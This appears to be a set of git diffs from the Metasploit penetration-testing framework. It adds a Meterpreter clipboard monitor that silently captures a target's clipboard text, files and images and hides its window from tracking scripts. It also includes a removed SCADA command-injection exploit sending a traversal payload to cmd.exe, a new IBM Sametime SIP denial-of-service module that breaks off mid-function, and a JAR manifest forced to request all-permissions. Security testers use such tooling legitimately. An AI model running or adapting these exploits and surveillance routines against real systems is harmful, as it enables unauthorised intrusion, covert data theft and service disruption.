hosts = Rex::Socket::RangeWalker.new(ip_range_arg)
begin
code = mod.check_simple(
if hosts.ranges.blank?
# Check a single rhost
check_simple
else
# Check multiple hosts
last_rhost_opt = mod.rhost
last_rhosts_opt = mod.datastore['RHOSTS']
mod.datastore['RHOSTS'] = ip_range_arg
begin
check_multiple(hosts)
ensure
# Restore the original rhost if set
mod.datastore['RHOST'] = last_rhost_opt
mod.datastore['RHOSTS'] = last_rhosts_opt
mod.cleanup
end
end
rescue ::Interrupt
# When the user sends interrupt trying to quit the task, some threads will still be active.
# This means even though the console tells the user the task has aborted (or at least they
# assume so), the checks are still running. Because of this, as soon as we detect interrupt,
# we force the threads to die.
if @tl
@tl.each { |t| t.kill }
end
print_status("Caught interrupt from the console...")
return
end
end
def check_simple(instance=nil)
unless instance
instance = mod
end
rhost = instance.rhost
rport = instance.rport
begin
code = instance.check_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output)
if (code and code.kind_of?(Array) and code.length > 1)
if (code == Msf::Exploit::CheckCode::Vulnerable)
print_good(code[1])
print_good("#{rhost}:#{rport} - #{code[1]}")
else
print_status(code[1])
print_status("#{rhost}:#{rport} - #{code[1]}")
end
else
print_error("Check failed: The state could not be determined.")
print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.")
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error
# Connection issues while running check should be handled by the module
rescue ::RuntimeError
# Some modules raise RuntimeError but we don't necessarily care about those when we run check()
rescue Msf::OptionValidateError => e
print_error("Check failed: #{e.message}")
rescue ::Exception => e
print_error("Exploit check failed: #{e.class} #{e}")
if(e.class.to_s != 'Msf::OptionValidateError')
print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple/
print_error(" #{line}")
end
end
print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}")
end
end

View File

@ -19,11 +19,11 @@ class Clipboard
@client = client
end
#
# Get the target clipboard data in whichever format we can
# (if it's supported).
#
def get_data(download = false)
results = []
request = Packet.create_request('extapi_clipboard_get_data')
if download
@ -32,45 +32,12 @@ class Clipboard
response = client.send_request(request)
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
if text
results << {
:type => :text,
:data => text
}
end
files = []
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
files << {
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
}
}
if files.length > 0
results << {
:type => :files,
:data => files
}
end
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
if jpg
results << {
:type => :jpg,
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
}
end
end
return results
return parse_dump(response)
end
#
# Set the target clipboard data to a text value
#
def set_text(text)
request = Packet.create_request('extapi_clipboard_set_data')
@ -81,8 +48,120 @@ class Clipboard
return true
end
#
# Start the clipboard monitor if it hasn't been started.
#
def monitor_start(opts)
request = Packet.create_request('extapi_clipboard_monitor_start')
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
return client.send_request(request)
end
#
# Pause the clipboard monitor if it's running.
#
def monitor_pause
request = Packet.create_request('extapi_clipboard_monitor_pause')
return client.send_request(request)
end
#
# Dump the conents of the clipboard monitor to the local machine.
#
def monitor_dump(opts)
pull_img = opts[:include_images]
purge = opts[:purge]
purge = true if purge.nil?
request = Packet.create_request('extapi_clipboard_monitor_dump')
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
response = client.send_request(request)
return parse_dump(response)
end
#
# Resume the clipboard monitor if it has been paused.
#
def monitor_resume
request = Packet.create_request('extapi_clipboard_monitor_resume')
return client.send_request(request)
end
#
# Purge the contents of the clipboard capture without downloading.
#
def monitor_purge
request = Packet.create_request('extapi_clipboard_monitor_purge')
return client.send_request(request)
end
#
# Stop the clipboard monitor and dump optionally it's contents.
#
def monitor_stop(opts)
dump = opts[:dump]
pull_img = opts[:include_images]
request = Packet.create_request('extapi_clipboard_monitor_stop')
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
response = client.send_request(request)
unless dump
return response
end
return parse_dump(response)
end
attr_accessor :client
private
def parse_dump(response)
result = {}
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
result[ts] ||= {}
# fat chance of someone adding two different bits of text to the
# clipboard at the same time
result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
end
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
result[ts] ||= {}
result[ts]['Files'] ||= []
result[ts]['Files'] << {
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
}
end
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
if jpg
ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
result[ts] ||= {}
# same story with images, there's no way more than one can come
# through on the same timestamp with differences
result[ts]['Image'] = {
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
}
end
end
return result
end
end
end; end; end; end; end; end

View File

@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E
TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
@ -40,6 +44,11 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)

View File

@ -49,10 +49,9 @@ class Config
get_interfaces().each(&block)
end
#
# Returns an array of network interfaces with each element.
#
# being an Interface
# @return [Array<Interface>]
def get_interfaces
request = Packet.create_request('stdapi_net_config_get_interfaces')
ifaces = []

View File

@ -30,7 +30,7 @@ class Config
def getuid
request = Packet.create_request('stdapi_sys_config_getuid')
response = client.send_request(request)
return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
end
#
@ -53,14 +53,15 @@ class Config
result[var_name] = var_value
end
return result
result
end
#
# Returns the value of a single requested environment variable name
#
def getenv(var_name)
getenvs(var_name)[var_name]
_, value = getenvs(var_name).first
value
end
#
@ -92,7 +93,7 @@ class Config
req = Packet.create_request('stdapi_sys_config_steal_token')
req.add_tlv(TLV_TYPE_PID, pid.to_i)
res = client.send_request(req)
return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
end
#
@ -101,7 +102,7 @@ class Config
def drop_token
req = Packet.create_request('stdapi_sys_config_drop_token')
res = client.send_request(req)
return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
end
#
@ -114,7 +115,7 @@ class Config
res.each(TLV_TYPE_PRIVILEGE) do |p|
ret << p.value
end
return ret
ret
end
protected

View File

@ -5,7 +5,6 @@ module Rex
module Post
module Meterpreter
module Ui
###
#
# Extended API window management user interface.
@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
#
def commands
{
"clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
"clipboard_set_text" => "Write text to the victim's clipboard"
"clipboard_get_data" => "Read the target's current clipboard (text, files, images)",
"clipboard_set_text" => "Write text to the target's clipboard",
"clipboard_monitor_start" => "Start the clipboard monitor",
"clipboard_monitor_pause" => "Pause the active clipboard monitor",
"clipboard_monitor_resume" => "Resume the paused clipboard monitor",
"clipboard_monitor_dump" => "Dump all captured clipboard content",
"clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
"clipboard_monitor_stop" => "Stop the clipboard monitor"
}
end
@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard
#
@@get_data_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ]
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ]
)
def print_clipboard_get_data_usage
print(
"\nUsage: clipboard_get_data [-h] [-d]\n\n" +
"Attempts to read the data from the victim's clipboard. If the data is in a\n" +
"Attempts to read the data from the target's clipboard. If the data is in a\n" +
"supported format, it is read and returned to the user.\n" +
@@get_data_opts.usage + "\n")
end
#
# Get the data from the victim's clipboard
# Get the data from the target's clipboard
#
def cmd_clipboard_get_data(*args)
download_content = false
@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
end
}
loot_dir = download_path || "."
if not ::File.directory?( loot_dir )
::FileUtils.mkdir_p( loot_dir )
end
dump = client.extapi.clipboard.get_data(download_content)
# currently we only support text values
results = client.extapi.clipboard.get_data(download_content)
if results.length == 0
if dump.length == 0
print_error( "The current Clipboard data format is not supported." )
return false
end
results.each { |r|
case r[:type]
when :text
print_line
print_line( "Current Clipboard Text" )
print_line( "======================" )
print_line
print_line( r[:data] )
when :jpg
print_line
print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" )
if download_content
file = Rex::Text.rand_text_alpha(8) + ".jpg"
path = File.join( loot_dir, file )
path = ::File.expand_path( path )
::File.open( path, 'wb' ) do |f|
f.write r[:data]
end
print_good( "Clipboard image saved to #{path}" )
else
print_line( "Re-run with -d to download image." )
end
when :files
if download_content
loot_dir = ::File.expand_path( loot_dir )
print_line
print_status( "Downloading Clipboard Files ..." )
r[:data].each { |f|
download_file( loot_dir, f[:name] )
}
print_good( "Downloaded #{r[:data].length} file(s)." )
print_line
else
table = Rex::Ui::Text::Table.new(
'Header' => 'Current Clipboard Files',
'Indent' => 0,
'SortIndex' => 0,
'Columns' => [
'File Path', 'Size (bytes)'
]
)
total = 0
r[:data].each { |f|
table << [f[:name], f[:size]]
total += f[:size]
}
print_line
print_line(table.to_s)
print_line( "#{r[:data].length} file(s) totalling #{total} bytes" )
end
end
print_line
}
parse_dump(dump, download_content, download_content, download_path)
return true
end
@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
"-h" => [ false, "Help banner" ]
)
def clipboard_set_text_usage
def print_clipboard_set_text_usage
print(
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
"Set the target's clipboard to the given text value.\n\n")
@ -165,15 +105,270 @@ class Console::CommandDispatcher::Extapi::Clipboard
@@set_text_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
clipboard_set_text_usage
print_clipboard_set_text_usage
return true
end
}
return client.extapi.clipboard.set_text(args.join(" "))
return client.extapi.clipboard.set_text(args.join(" "))
end
protected
#
# Options for the clipboard_monitor_start command.
#
@@monitor_start_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Capture image content when monitoring (default: true)" ]
)
#
# Help for the clipboard_monitor_start command.
#
def print_clipboard_monitor_start_usage
print(
"\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
"Starts a background clipboard monitoring thread. The thread watches\n" +
"the clipboard on the target, under the context of the current desktop, and when\n" +
"changes are detected the contents of the clipboard are captured. Contents can be\n" +
"dumped periodically. Image content can be captured as well (and will be by default)\n" +
"however this can consume quite a bit of memory.\n\n" +
@@monitor_start_opts.usage + "\n")
end
#
# Start the clipboard monitor.
#
def cmd_clipboard_monitor_start(*args)
capture_images = true
@@monitor_start_opts.parse(args) { |opt, idx, val|
case opt
when "-i"
# default this to true
capture_images = val.downcase != 'false'
when "-h"
print_clipboard_monitor_start_usage
return true
end
}
client.extapi.clipboard.monitor_start({
# random class and window name so that it isn't easy
# to track via a script
:wincls => Rex::Text.rand_text_alpha(8),
:cap_img => capture_images
})
print_good("Clipboard monitor started")
end
#
# Options for the clipboard_monitor_purge command.
#
@@monitor_purge_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
)
#
# Help for the clipboard_monitor_purge command.
#
def print_clipboard_monitor_purge_usage
print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
"Purge the captured contents from the monitor. This does not stop\n" +
"the monitor from running, it just removes captured content.\n\n" +
@@monitor_purge_opts.usage + "\n")
end
#
# Purge the clipboard monitor captured contents
#
def cmd_clipboard_monitor_purge(*args)
@@monitor_purge_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_clipboard_monitor_purge_usage
return true
end
}
client.extapi.clipboard.monitor_purge
print_good("Captured clipboard contents purged successfully")
end
#
# Options for the clipboard_monitor_pause command.
#
@@monitor_pause_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
)
#
# Help for the clipboard_monitor_pause command.
#
def print_clipboard_monitor_pause_usage
print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
"Pause the currently running clipboard monitor thread.\n\n" +
@@monitor_pause_opts.usage + "\n")
end
#
# Pause the clipboard monitor captured contents
#
def cmd_clipboard_monitor_pause(*args)
@@monitor_pause_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_clipboard_monitor_pause_usage
return true
end
}
client.extapi.clipboard.monitor_pause
print_good("Clipboard monitor paused successfully")
end
#
# Options for the clipboard_monitor_resumse command.
#
@@monitor_resume_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
)
#
# Help for the clipboard_monitor_resume command.
#
def print_clipboard_monitor_resume_usage
print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
"Resume the currently paused clipboard monitor thread.\n\n" +
@@monitor_resume_opts.usage + "\n")
end
#
# resume the clipboard monitor captured contents
#
def cmd_clipboard_monitor_resume(*args)
@@monitor_resume_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_clipboard_monitor_resume_usage
return true
end
}
client.extapi.clipboard.monitor_resume
print_good("Clipboard monitor resumed successfully")
end
#
# Options for the clipboard_monitor_dump command.
#
@@monitor_dump_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
"-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ],
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
)
#
# Help for the clipboard_monitor_dump command.
#
def print_clipboard_monitor_dump_usage
print(
"\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" +
"Dump the capture clipboard contents to the local machine..\n\n" +
@@monitor_dump_opts.usage + "\n")
end
#
# Dump the clipboard monitor contents to the local machine.
#
def cmd_clipboard_monitor_dump(*args)
purge = true
download_images = true
download_files = true
download_path = nil
@@monitor_dump_opts.parse(args) { |opt, idx, val|
case opt
when "-d"
download_path = val
when "-i"
download_images = val.downcase != 'false'
when "-f"
download_files = val.downcase != 'false'
when "-p"
purge = val.downcase != 'false'
when "-h"
print_clipboard_monitor_dump_usage
return true
end
}
dump = client.extapi.clipboard.monitor_dump({
:include_images => download_images,
:purge => purge
})
parse_dump(dump, download_images, download_files, download_path)
print_good("Clipboard monitor dumped")
end
#
# Options for the clipboard_monitor_stop command.
#
@@monitor_stop_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ],
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
)
#
# Help for the clipboard_monitor_stop command.
#
def print_clipboard_monitor_stop_usage
print(
"\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
"Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
@@monitor_stop_opts.usage + "\n")
end
#
# Stop the clipboard monitor.
#
def cmd_clipboard_monitor_stop(*args)
dump_data = true
download_images = true
download_files = true
download_path = nil
@@monitor_stop_opts.parse(args) { |opt, idx, val|
case opt
when "-d"
download_path = val
when "-x"
dump_data = val.downcase != 'false'
when "-i"
download_images = val.downcase != 'false'
when "-f"
download_files = val.downcase != 'false'
when "-h"
print_clipboard_monitor_stop_usage
return true
end
}
dump = client.extapi.clipboard.monitor_stop({
:dump => dump_data,
:include_images => download_images
})
parse_dump(dump, download_images, download_files, download_path) if dump_data
print_good("Clipboard monitor stopped")
end
private
def download_file( dest_folder, source )
stat = client.fs.file.stat( source )
@ -182,17 +377,64 @@ protected
if stat.directory?
client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
}
elsif stat.file?
client.fs.file.download( dest, source ) { |step, src, dst|
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
}
end
end
def parse_dump(dump, get_images, get_files, download_path)
loot_dir = download_path || "."
if (get_images || get_files) && !::File.directory?( loot_dir )
::FileUtils.mkdir_p( loot_dir )
end
dump.each do |ts, elements|
elements.each do |type, v|
title = "#{type} captured at #{ts}"
under = "=" * title.length
print_line(title)
print_line(under)
case type
when 'Text'
print_line(v)
when 'Files'
total = 0
v.each do |f|
print_line("Remote Path : #{f[:name]}")
print_line("File size : #{f[:size]} bytes")
if get_files
download_file( loot_dir, f[:name] )
end
print_line
total += f[:size]
end
when 'Image'
print_line("Dimensions : #{v[:width]} x #{v[:height]}")
if get_images and !v[:data].nil?
file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
path = File.join(loot_dir, file)
path = ::File.expand_path(path)
::File.open(path, 'wb') do |x|
x.write v[:data]
end
print_line("Downloaded : #{path}")
end
end
print_line(under)
print_line
end
end
end
end
end

View File

@ -36,10 +36,13 @@ class Jar < Archive
#
def build_manifest(opts={})
main_class = opts[:main_class] || nil
app_name = opts[:app_name] || nil
existing_manifest = nil
@manifest = "Manifest-Version: 1.0\r\n"
@manifest << "Main-Class: #{main_class}\r\n" if main_class
@manifest << "Application-Name: #{app_name}\r\n" if app_name
@manifest << "Permissions: all-permissions\r\n"
@manifest << "\r\n"
@entries.each { |e|
next if e.name =~ %r|/$|

View File

@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary
})
if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
print_status("#{peer} - Boa Version Detected: #{m[1]}")
vprint_status("#{peer} - Boa Version Detected: #{m[1]}")
return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
return Exploit::CheckCode::Vulnerable
else
print_status("#{peer} - Not a Boa Server!")
vprint_status("#{peer} - Not a Boa Server!")
return Exploit::CheckCode::Safe # not a boa server
end

View File

@ -1,65 +0,0 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
require 'msf/core/module/deprecated'
include Msf::Module::Deprecated
deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17'
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Interactive Graphical SCADA System Remote Command Injection',
'Description' => %q{
This module abuses a directory traversal flaw in Interactive
Graphical SCADA System v9.00. In conjunction with the traversal
flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
may be able to execute arbitrary system commands.
},
'Author' => [ 'Luigi Auriemma', 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-1566'],
[ 'OSVDB', '72349'],
[ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
],
'DisclosureDate' => 'Mar 21 2011'))
register_options(
[
Opt::RPORT(12397),
OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
], self.class)
end
def run
connect
exec = datastore['CMD']
packet = [0x00000100].pack('V') + [0x00000000].pack('V')
packet << [0x00000100].pack('V') + [0x00000017].pack('V')
packet << [0x00000000].pack('V') + [0x00000000].pack('V')
packet << [0x00000000].pack('V') + [0x00000000].pack('V')
packet << [0x00000000].pack('V') + [0x00000000].pack('V')
packet << [0x00000000].pack('V')
packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
packet << "windows\\system32\\cmd.exe\" /c #{exec}"
packet << "\x00" * (143 + exec.length)
print_status("Sending command: #{exec}")
sock.put(packet)
sock.get_once(-1,0.5)
disconnect
end
end

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
[
Opt::RPORT(21),
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']),
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'])
], self.class)
register_advanced_options(
@ -59,7 +59,6 @@ class Metasploit3 < Msf::Auxiliary
# device, then we're going to end up storing HTTP credentials that are not
# correct. If there's a way to fingerprint the device, it should be done here.
def check
return true unless datastore['RUN_CHECK']
is_modicon = false
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
connect rescue nil
@ -68,22 +67,26 @@ class Metasploit3 < Msf::Auxiliary
is_modicon = check_banner()
disconnect
else
print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
return false
vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
return Exploit::CheckCode::Unknown
end
if is_modicon
print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
return Exploit::CheckCode::Detected
else
print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
end
return is_modicon
return Exploit::CheckCode::Safe
end
def run
if check()
if setup_ftp_connection()
grab()
end
if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected
print_status("Service detected.")
grab() if setup_ftp_connection()
else
grab() if setup_ftp_connection()
end
end

View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
def check
# http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
# check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
status = Exploit::CheckCode::Unknown
status = Exploit::CheckCode::Safe
connect
sock.put(http_request("GEM"))
begin
@ -56,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary
rescue EOFError
# checking against >= 0.10.17 raises EOFError because there is no
# response to GEM requests
vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")
return Msf::Exploit::CheckCode::Unknown
ensure
disconnect
end

View File

@ -0,0 +1,235 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Sametime WebPlayer DoS',
'Description' => %q{
This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
version 8.5.2.1392 (and prior) to cause a denial of service condition
against specific users. For this module to function the target user
must be actively logged into the IBM Lotus Sametime server and have
the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
browser extension. The user should have the WebPlayer plug-in active
(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
},
'Author' =>
[
'Chris John Riley', # Vulnerability discovery
'kicks4kittens' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' =>
[
['DOS',
{
'Description' => 'Cause a Denial Of Service condition against a connected user'
}
],
['CHECK',
{
'Description' => 'Checking if targeted user is online'
}
]
],
'DefaultAction' => 'DOS',
'References' =>
[
[ 'CVE', '2013-3986' ],
[ 'OSVDB', '99552' ],
[ 'BID', '63611'],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
],
'DisclosureDate' => 'Nov 07 2013'))
register_options(
[
Opt::RPORT(5060),
OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
OptString.new('SIPURI', [
true,
'The SIP URI of the user to be targeted',
'<target_email_address>@<sametime_media_server_FQDN>'
]),
OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])
], self.class)
end
def setup
# cleanup SIP target to ensure it's in the correct format to use
@sipuri = datastore['SIPURI']
if @sipuri[0, 4].downcase == "sip:"
# remove sip: if present in string
@sipuri = @sipuri[4, @sipuri.length]
end
if @sipuri[0, 12].downcase == "webavclient-"
# remove WebAVClient- if present in string
@sipuri = @sipuri[12, @sipuri.length]
end
end
def run
# inform user of action currently selected
print_status("#{peer} - Action: #{action.name} selected")
# CHECK action
if action.name == 'CHECK'
print_status("#{peer} - Checking if user #{@sipuri} is online")
if check_user
print_good("#{peer} - User online")
else
print_status("#{peer} - User offline")
end
return
end
# DOS action
print_status("#{peer} - Checking if user #{@sipuri} is online")
check_result = check_user
if check_result == false
print_error("#{peer} - User is already offline... Exiting...")
return
end
# only proceed if action is DOS the target user is
# online or the CHECKUSER option has been disabled
print_status("#{peer} - Targeting user: #{@sipuri}...")
dos_result = dos_user
